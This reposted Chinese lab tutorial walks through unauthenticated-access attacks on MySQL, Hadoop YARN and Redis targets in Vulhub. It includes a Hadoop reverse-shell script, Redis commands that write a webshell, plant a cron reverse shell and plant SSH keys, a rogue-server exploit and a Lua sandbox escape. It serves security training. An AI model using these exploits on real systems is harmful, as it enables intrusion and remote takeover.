0


第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

思维导图:

常见服务的安全测试:

1.配置不当-未授权访问

2.安全机制-特定安全漏洞

3.安全机制-弱口令爆破攻击

服务安全流程:

端口扫描 nmap netstat

服务开放了,但是端口不存在?

1.内网环境,端口映射

2.端口被修改

3.防护软件-防火墙等

如果没有端口,利用组合猜测,例如:php-mysql

判断服务类型:

远程控制: win 3389 rdp linux 22 ssh --> 账号密码爆破

案例一:Mysql-未授权访问-CVE-2012-2122 利用

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

创建docker环境

查看ip

利用命令

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

复现:失败很多次后会成功

另外mysql不能够使用远程暴力破解。因为root用户只能本地登录,可以采取利用phpmyadmin去远程登录利用,爆破密码。

案例二: Hadoop-未授权访问-内置配合命令执行 RCE

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

搭建

访问:

http://your-ip:8088

访问你的ip地址/cluster/apps,如果存在证明有漏洞

kali开启监听

新开的窗口执行下方代码,去反弹shell

import requests
 
def shell(url,vps_ip,port):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
    }
    response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
    id = response.json()["application-id"]
    data = {
        'application-id': id,
        'application-name': 'getshell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
            },
        },
        'application-type': 'YARN'}
    exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
    print("[+] 执行完成!")
 
 
if __name__ == '__main__':
    url = input("目标的URL:")
    vps_ip = input("监听的主机IP地址(kali):")
    port = input("监听的主机端口(kali):")
    shell(url,vps_ip,port)

运行,成功反弹sell

案例三:Redis-未授权访问-Webshell&任务&密匙&RCE 等

redis端口: 6379

未授权访问条件:

1.redis.conf中 bind表示允许谁访问,被注释了表示都可以访问

2.redis.conf 中 下面这个模块默认是关闭的

3.默认没设置密码 requirepass

环境配置:(centos7)

1、下载
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2、解压编译
tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译

3、配置及启动
cd src/ #进入src目录 
cp redis-server /usr/bin/ 
cp redis-cli /usr/bin/      #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd ..   # 返回上一级目录
cp redis.conf /etc/     #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

启动后的效果

利用redis桌面连接工具进行连接

连接后。ctrl+t进入命令终端

写入webshell

需要知道写入路径 /tmp目录默认是所有人都可以写入

利用条件:Web 目录权限可读写
config set dir /tmp #设置 WEB 写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
注意:部分没目录权限读写权限

执行:

查看centos7是否写入

写入计划任务反弹shell

kali首先开启监听

首先centos中的计时任务,可以写在/var/spool/cron中

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.172.132/7777 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/   //或者 /var/spool/cron/crontabs 
config set dbfilename root     // 计划任务的文件名为root
save   // ok
config get dir
//即可查看保存路径 ,确保路径无误

kali成功反弹shell

如果无法反弹shell可能是由于上一个实验的结果。也会输入这个文件当中造成影响,可以新开一个kali窗口,进行纯净版的输入,如图

ssh密钥链接

利用该攻击方式,还需要允许密钥对登录,并且redis以root登录

首先生成密钥对

进入root目录下

把公钥复制到key.txt文件当中

传输公钥

自己搭建的服务器,如果没有.ssh需要手工生成一下

连接保存公钥

利用自己的私钥去主动连接

利用自动化脚本去getshell

下载地址:https://github.com/vulhub/redis-rogue-getshell

可以用的redis版本: Redis4.x/5.0.5

运行代码:

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

搭建靶场:Vulhub - Docker-Compose file for vulnerability environment

利用,首先需要编译

利用

换一个命令

redis沙盒绕过命令执行

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

搭建:

利用代码:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

复现

标签: web安全 安全

本文转载自: https://blog.csdn.net/weixin_71529930/article/details/137492278
版权归原作者 xiaojiesec 所有, 如有侵权,请联系我们删除。

“第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE”的评论:

还没有评论